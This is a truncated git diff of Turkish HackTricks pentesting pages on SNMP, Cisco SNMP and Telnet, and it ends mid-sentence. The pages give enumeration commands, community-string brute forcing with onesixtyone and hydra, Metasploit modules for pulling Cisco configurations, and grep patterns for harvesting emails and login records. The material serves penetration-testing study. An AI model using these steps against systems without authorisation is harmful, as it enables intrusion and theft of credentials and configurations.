+Bu adresin ayrıntıları şöyle: -* 1 - Bu, ISO olarak adlandırılır ve bu bir OID olduğunu belirler. Bu nedenle, tüm OID'ler "1" ile başlar. -* 3 - Bu, ORG olarak adlandırılır ve cihazı kuran organizasyonu belirtmek için kullanılır. -* 6 - Bu, dod veya Savunma Bakanlığıdır ve İnternet'i ilk kez kuran organizasyondur. +* 1 - Bu ISO olarak adlandırılır ve bu bir OID olduğunu belirler. Bu nedenle, tüm OID'ler "1" ile başlar. +* 3 - Bu ORG olarak adlandırılır ve cihazı kuran organizasyonu belirtmek için kullanılır. +* 6 - Bu dod veya Savunma Bakanlığıdır ve İnternet'i ilk kez kuran organizasyondur. * 1 - Bu, tüm iletişimlerin İnternet üzerinden gerçekleşeceğini belirtmek için internetin değeridir. * 4 - Bu değer, bu cihazın bir devlet kurumu değil, özel bir kuruluş tarafından yapıldığını belirler. -* 1 - Bu değer, cihazın bir işletme veya işletme varlığı tarafından yapıldığını belirtir. +* 1 - Bu değer, cihazın bir işletme veya ticari bir varlık tarafından yapıldığını belirtir. Bu ilk altı değer genellikle tüm cihazlar için aynı olma eğilimindedir ve temel bilgileri verir. Bu sayı dizisi, cihazlar için tüm OID'ler için aynı olacaktır, cihaz devlet tarafından yapıldığında hariç. @@ -72,41 +72,41 @@ Sonraki sayılar dizisine geçelim. * 1 - Cihazın türünü açıklar. Bu durumda, bir alarm saati. * 2 - Bu cihazın bir uzak terminal ünitesi olduğunu belirler. -Kalan değerler cihaz hakkında belirli bilgiler verir. +Gerisi, cihaz hakkında belirli bilgiler verir. -* 5 - Belirli bir alarm noktasını belirtir. -* 1 - Cihazdaki belirli nokta -* 3 - Port -* 21 - Portun adresi -* 1 - Port için ekran -* 4 - Nokta numarası -* 7 - Noktanın durumu +* 5 - ayrı bir alarm noktasını belirtir. +* 1 - cihazdaki belirli nokta +* 3 - bağlantı noktası +* 21 - bağlantı noktasının adresi +* 1 - bağlantı noktası için ekran +* 4 - nokta numarası +* 7 - noktanın durumu ### SNMP Sürümleri SNMP'nin 2 önemli sürümü vardır: -* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye dayanır** (topluluk dizesi) ve **tüm bilgiler düz metin olarak iletilir**. **Sürüm 2 ve 2c** de **trafik düz metin olarak** gönderilir ve **kimlik doğrulaması için bir topluluk dizesi kullanılır**. -* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgi **şifrelenmiş** olarak iletilir (**sözlük saldırısı** gerçekleştirilebilir ancak doğru kimlik bilgilerini bulmak SNMPv1 ve v2'den daha zor olacaktır). +* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye dayanır** (topluluk dizesi) ve **tüm bilgiler düz metin olarak iletilir**. **Sürüm 2 ve 2c** de **trafik düz metin olarak gönderilir** ve kimlik doğrulaması için bir **topluluk dizesi kullanır**. +* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgi, **şifrelenmiş** olarak iletilir (**sözlük saldırısı** gerçekleştirilebilir ancak doğru kimlik bilgilerini bulmak SNMPv1 ve v2'den daha zor olacaktır). ### Topluluk Dizileri Daha önce belirtildiği gibi, **MIB'de kayıtlı bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te kimlik bilgilerini bilmelisiniz.**\ -**2 tür topluluk dizesi vardır**: +**2 tür topluluk dizesi** vardır: * **`public`** genellikle **salt okunur** işlevler -* **`private`** genelde **Oku/Yaz** işlevi görür +* **`private`** genellikle **Oku/Yaz** işlevi görür -Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır, bu nedenle "**public**" kullanıldığını bulsanız bile, **bazı değerleri yazabilirsiniz**. Ayrıca, **her zaman "Salt Okunur"** olan nesneler olabilir.\ +Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır, bu nedenle **"public"** kullanıldığını bulsanız bile, **bazı değerleri yazabilirsiniz**. Ayrıca, **her zaman "Salt Okunur"** olan nesneler olabilir.\ Bir nesneyi **yazmaya** çalışırsanız **`noSuchName` veya `readOnly` hatası** alırsınız\*\*.\*\* -Sürüm 1 ve 2/2c'de **yanlış** bir topluluk dizesi kullanırsanız sunucu **yanıt vermez**. Bu nedenle, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**. +Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız sunucu **yanıt vermez**. Bu nedenle, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**. ## Bağlantı Noktaları [Wikipedia'dan](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol): -* SNMP ajanı, UDP bağlantı noktası **161** üzerinden istekleri alır. +* SNMP ajanı, UDP bağlantı noktası **161** üzerinden istek alır. * Yönetici, bildirimleri ([Tuzaklar](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) ve [Bilgi İstekleri](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) **162** numaralı bağlantı noktasından alır. * [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) ile kullanıldığında, istekler **10161** numaralı bağlantı noktasından alınır ve bildirimler **10162** numaralı bağlantı noktasına gönderilir. @@ -116,7 +116,7 @@ Topluluk dizesini **tahmin etmek** için bir sözlük saldırısı gerçekleşti ## SNMP Numaralandırma -Her OID'nin cihazdan toplanan **her OID'nin ne anlama geldiğini görmek için aşağıdakileri yüklemeniz önerilir**: +Her bir OID'nin ne anlama geldiğini görmek için aşağıdakileri yüklemeniz önerilir: ```bash apt-get install snmp-mibs-downloader download-mibs @@ -139,7 +139,7 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Uzatılmış sorgular (download-mibs) sayesinde, aşağıdaki komutla sistem hakkında daha fazla bilgi sıralamak mümkündür: +Uzatılmış sorgular (download-mibs) sayesinde, aşağıdaki komut ile sistem hakkında daha fazla bilgi sıralamak mümkündür: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` @@ -151,30 +151,30 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl ### Erişim Ayarları -Ağ yönetiminde tam OID ağacına erişimi sağlayan iki ana ayar vardır: +Ağ yönetiminde önemli iki ayar, ağ yönetiminde kritik bir bileşen olan **tam OID ağacına** erişimi sağlar: 1. **`rwuser noauth`**, kimlik doğrulama gerektirmeksizin OID ağacına tam erişime izin vermek için ayarlanmıştır. Bu ayar açıktır ve kısıtlamasız erişime olanak tanır. 2. Daha spesifik kontrol için erişim, şu şekilde sağlanabilir: * **`rwcommunity`** için **IPv4** adresleri ve * **`rwcommunity6`** için **IPv6** adresleri. -Her iki komut da ilgili IP adresi ve topluluk dizesini gerektirir ve isteğin kaynağından bağımsız olarak tam erişim sağlar. +Her iki komut da bir **topluluk dizesi** ve ilgili IP adresini gerektirir, isteğin kaynağından bağımsız olarak tam erişim sağlar. ### Microsoft Windows İçin SNMP Parametreleri -Windows sisteminin çeşitli yönlerini izlemek için SNMP aracılığıyla kullanılan bir dizi **Yönetim Bilgi Tabanı (MIB) değeri** şunlardır: +Bir Windows sisteminin çeşitli yönlerini izlemek için SNMP aracılığıyla kullanılan bir dizi **Yönetim Bilgi Tabanı (MIB) değeri**: * **Sistem İşlemleri**: `1.3.6.1.2.1.25.1.6.0` üzerinden erişilen bu parametre, sistem içindeki etkin işlemlerin izlenmesine olanak tanır. * **Çalışan Programlar**: `1.3.6.1.2.1.25.4.2.1.2` değeri, şu anda çalışan programların izlenmesi için belirlenmiştir. * **İşlem Yolu**: Bir işlemin nereden çalıştığını belirlemek için `1.3.6.1.2.1.25.4.2.1.4` MIB değeri kullanılır. * **Depolama Birimleri**: Depolama birimlerinin izlenmesi, `1.3.6.1.2.1.25.2.3.1.4` ile kolaylaştırılır. -* **Yazılım Adı**: Bir sistemde yüklü yazılımı tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır. +* **Yazılım Adı**: Bir sisteme yüklenen yazılımı tanımlamak için `1.3.6.1.2.1.25.6.3.1.2` kullanılır. * **Kullanıcı Hesapları**: `1.3.6.1.4.1.77.1.2.25` değeri, kullanıcı hesaplarının izlenmesine olanak tanır. -* **TCP Yerel Portlar**: Son olarak, `1.3.6.1.2.1.6.13.1.3`, TCP yerel portların izlenmesi için belirlenmiştir ve etkin ağ bağlantıları hakkında bilgi sağlar. +* **TCP Yerel Portlar**: Son olarak, `1.3.6.1.2.1.6.13.1.3`, TCP yerel portların izlenmesi için belirlenmiştir, aktif ağ bağlantıları hakkında bilgi sağlar. ### Cisco -Eğer Cisco ekipmanına sahipseniz bu sayfaya göz atın: +Eğer Cisco ekipmanına sahipseniz, bu sayfaya göz atın: {% content-ref url="cisco-snmp.md" %} [cisco-snmp.md](cisco-snmp.md) @@ -190,23 +190,27 @@ Eğer SNMP servisi içinde **değer yazmaya izin veren dizeye** sahipseniz, bunu ## **Kapsamlı SNMP** -[Braa ](https://github.com/mteg/braa), kapsamlı bir SNMP tarayıcıdır. Bu tür bir aracın amaçlanan kullanımı elbette SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk'ın aksine, onlarca veya yüzlerce ana bilgisayara aynı anda sorgu yapabilir ve tek bir işlemde yapabilir. Bu nedenle çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar. +[Braa ](https://github.com/mteg/braa), kapsamlı bir SNMP tarayıcıdır. Bu tür bir aracın amaçlanan kullanımı elbette SNMP sorguları yapmaktır - ancak net-snmp'den snmpwalk'ın aksine, onlarca veya yüzlerce ana bilgisayara aynı anda sorgu yapabilir ve tek bir işlemde yapabilir. Bu nedenle, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar. -Braa kendi SNMP yığını uygular, bu nedenle net-snmp gibi SNMP kütüphanelerine ihtiyaç duymaz. +Braa, kendi SNMP yığını uygular, bu nedenle net-snmp gibi SNMP kütüphanelerine ihtiyaç duymaz. -**Sözdizimi:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP adresi]:\[iso kimliği] +**Syntax:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP adresi]:\[iso kimliği] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` +Bu, manuel olarak işleyemeyeceğiniz birçok MB bilgi çıkarabilir. + +Bu yüzden, en ilginç bilgileri arayalım ([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): + ### **Cihazlar** -İşlem, her dosyadan cihazları tanımlamak için **sysDesc MIB verilerinin** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir: +İşlem, cihazları tanımlamak için her dosyadan **sysDesc MIB verilerinin** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Özel Dizeyi Tanımlama** -Özellikle Cisco IOS yönlendiricilerinde kuruluşlar tarafından kullanılan **özel topluluk dizesini** tanımlamak önemli bir adımdır. Bu dize, yönlendiricilerden **çalışan yapılandırmaların** çıkarılmasını sağlar. Tanımlama genellikle bir **grep komutu** ile SNMP Tuzak verilerini analiz etmeye dayanır ve "tuzak" kelimesini arar. +Örgütler tarafından özellikle Cisco IOS yönlendiricilerinde kullanılan **özel topluluk dizesini** tanımlamak önemli bir adımdır. Bu dize, yönlendiricilerden **çalışan yapılandırmaların** çıkarılmasını sağlar. Tanımlama genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bir **grep komutu** kullanılır: ```bash grep -i "trap" *.snmp ``` @@ -218,7 +222,7 @@ grep -i "login\|fail" *.snmp ``` ### **E-postalar** -Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarıyla eşleşen desenlere odaklanan bir düzenli ifade içeren bir **grep komutu** kullanılır: +Son olarak, verilerden **e-posta adreslerini** çıkarmak için, e-posta formatlarına uyan desenlere odaklanan bir **grep komutu** ile bir düzenli ifade kullanılır: ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` @@ -228,7 +232,7 @@ Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapabi ## Spoofing -Eğer yalnızca belirli IP'lerin SMNP servisine sorgu yapmasına izin veren bir ACL varsa, bu adreslerden birini UDP paketi içinde sahtelemek ve trafiği dinlemek mümkündür. +Eğer yalnızca belirli IP'lerin SMNP servisine sorgu yapmasına izin veren bir ACL varsa, bu adreslerden birini UDP paketi içinde sahteleştirebilir ve trafiği dinleyebilirsiniz. ## SNMP Yapılandırma Dosyalarını İnceleme @@ -236,9 +240,9 @@ Eğer yalnızca belirli IP'lerin SMNP servisine sorgu yapmasına izin veren bir * snmpd.conf * snmp-config.xml -
+
-Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_). +Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulması gerekmektedir_). {% embed url="https://www.stmcyber.com/careers" %} @@ -280,14 +284,14 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp ```
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index c75ad47cb..40b2f789e 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -2,17 +2,17 @@
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**. +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
+
Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_). @@ -20,7 +20,7 @@ Eğer **hacking kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek i ## Cisco Ağlarının Pentest Edilmesi -**SNMP**, genel mesajlar için 161/UDP ve trap mesajları için 162/UDP portları üzerinden UDP üzerinde çalışır. Bu protokol, SNMP ajanları ve sunucular arasında iletişimi sağlayan şifreler olarak hizmet veren topluluk dizilerine dayanır. Bu dizeler, erişim seviyelerini belirleyen, özellikle **salt okunur (RO) veya okuma-yazma (RW) izinlerini** belirleyen önemli unsurlardır. Bir pentester için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı amaçlayan **topluluk dizilerinin kaba kuvvet saldırısı**dır. +**SNMP**, genel mesajlar için 161/UDP ve trap mesajları için 162/UDP portları üzerinden UDP üzerinde çalışır. Bu protokol, SNMP ajanları ve sunucular arasında iletişimi sağlayan şifreler olarak hizmet veren topluluk dizilerine dayanır. Bu dizeler, erişim seviyelerini belirledikleri için önemlidir, özellikle **salt okunur (RO) veya okuma-yazma (RW) izinleri**. Bir pentester için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı amaçlayan **topluluk dizilerinin kaba kuvvet saldırısı**dır. Bu tür kaba kuvvet saldırılarını gerçekleştirmek için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone)'dir, bu araç potansiyel topluluk dizileri listesi ve hedeflerin IP adreslerini gerektirir: ```bash @@ -28,18 +28,18 @@ onesixtyone -c communitystrings -i targets ``` #### `cisco_config_tftp` -Metasploit çerçevesi, `cisco_config_tftp` modülünü içerir ve cihaz yapılandırmalarının çıkarılmasını kolaylaştırır, RW topluluk dizesinin elde edilmesine bağlı olarak. Bu işlem için temel parametreler şunlardır: +Metasploit çerçevesi, `cisco_config_tftp` modülünü içerir ve cihaz yapılandırmalarının çıkarılmasını kolaylaştırır, RW topluluk dizesi elde edilmesine bağlı olarak. Bu işlem için temel parametreler şunlardır: * RW topluluk dizesi (**COMMUNITY**) -* Saldırganın IP adresi (**LHOST**) -* Hedef cihazın IP adresi (**RHOSTS**) -* Yapılandırma dosyaları için hedef dizin yolu (**OUTPUTDIR**) +* Saldırganın IP'si (**LHOST**) +* Hedef cihazın IP'si (**RHOSTS**) +* Yapılandırma dosyaları için hedef dizin (**OUTPUTDIR**) Yapılandırma yapıldıktan sonra, bu modül cihaz ayarlarının belirtilen bir klasöre doğrudan indirilmesini sağlar. #### `snmp_enum` -Başka bir Metasploit modülü olan **`snmp_enum`**, detaylı donanım bilgileri toplamaya odaklanır. Başarılı bir şekilde çalıştırılabilmesi için hedefin IP adresi ile çalışır ve herhangi bir topluluk dizesi türüyle çalışır: +Başka bir Metasploit modülü, **`snmp_enum`**, detaylı donanım bilgileri toplamaya odaklanır. Başarılı yürütme için hedefin IP adresini gerektirir ve her iki tür topluluk dizesiyle çalışır: ```bash msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 @@ -49,20 +49,20 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek istiyorsan - **işe alıyoruz!** (_akıcı Polonyaca yazılı ve konuşma gereklidir_). +Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_). {% embed url="https://www.stmcyber.com/careers" %}
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz** ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* Bir **cybersecurity şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI** kontrol edin](https://github.com/sponsors/carlospolop)! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**. -* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin**. +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **takip edin**.
diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md index 76eb78af2..91bc07633 100644 --- a/network-services-pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -2,37 +2,35 @@
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Her yerden kullanılabilen, anında kurulabilen zafiyet değerlendirme ve penetrasyon testi**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabuk açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Hemen kullanıma hazır zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %} ## **Temel Bilgiler** -Telnet, kullanıcılara bir ağ üzerinden bir bilgisayara UNsecure bir şekilde erişim sağlayan bir ağ protokolüdür. +Telnet, kullanıcılara bir bilgisayara ağ üzerinden GÜVENİLMEZ bir şekilde erişim sağlayan bir ağ protokolüdür. -**Varsayılan port:** 23 +**Varsayılan bağlantı noktası:** 23 ``` 23/tcp open telnet ``` -Banner Grabbing, ağ hizmetlerinin keşfi için kullanılan bir tekniktir. Bu teknik, hedef sistemle iletişim kurarak, sistem tarafından sunulan banner mesajını elde etmeyi amaçlar. Banner mesajı, hedef sistem hakkında bilgi sağlayabilir ve saldırganın hedef sistemdeki zayıf noktaları belirlemesine yardımcı olabilir. +## **Sıralama** -Telnet gibi bazı ağ hizmetleri, banner mesajını otomatik olarak sunar. Bu durumda, saldırgan hedef sistemle bir telnet bağlantısı kurarak banner mesajını elde edebilir. Banner mesajı, hedef sistemde çalışan servis ve sürüm bilgilerini içerebilir. - -Banner Grabbing işlemi, saldırganın hedef sistemdeki servislerin sürümlerini belirlemesine ve bu sürümler için bilinen güvenlik açıklarını araştırmasına olanak tanır. Bu bilgiler, saldırganın hedef sistemdeki zayıf noktaları tespit etmesine ve saldırı vektörlerini planlamasına yardımcı olur. +### **Banner Yakalama** ```bash nc -vn 23 ``` @@ -40,13 +38,13 @@ Tüm ilginç numaralandırma işlemleri **nmap** tarafından gerçekleştirilebi ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` -`telnet-ntlm-info.nse` betiği NTLM bilgilerini (Windows sürümleri) elde edecektir. +Betik `telnet-ntlm-info.nse`, NTLM bilgilerini (Windows sürümleri) alacaktır. -[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'de belirtildiği gibi, TELNET Protokolü'nde "**seçenekler**" bulunur ve bu seçenekler "**DO, DON'T, WILL, WON'T**" yapısıyla kullanılabilir ve bir kullanıcının ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kuralı kullanmayı kabul etmelerine izin verir. Bu tür seçenekler karakter setini değiştirmek, yankı modunu değiştirmek vb. olabilir. +[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)'den: TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi sözleşmeyi kullanmayı kabul etmelerine izin vermek için "**DO, DON'T, WILL, WON'T**" yapısıyla "**seçenekler**" bulunmaktadır. Bu tür seçenekler, karakter setini değiştirme, yankı modu vb. içerebilir. -**Bu seçenekleri saymak mümkün olduğunu biliyorum, ancak nasıl yapılacağını bilmiyorum, bu yüzden biliyorsanız bana bildirin.** +**Bu seçenekleri 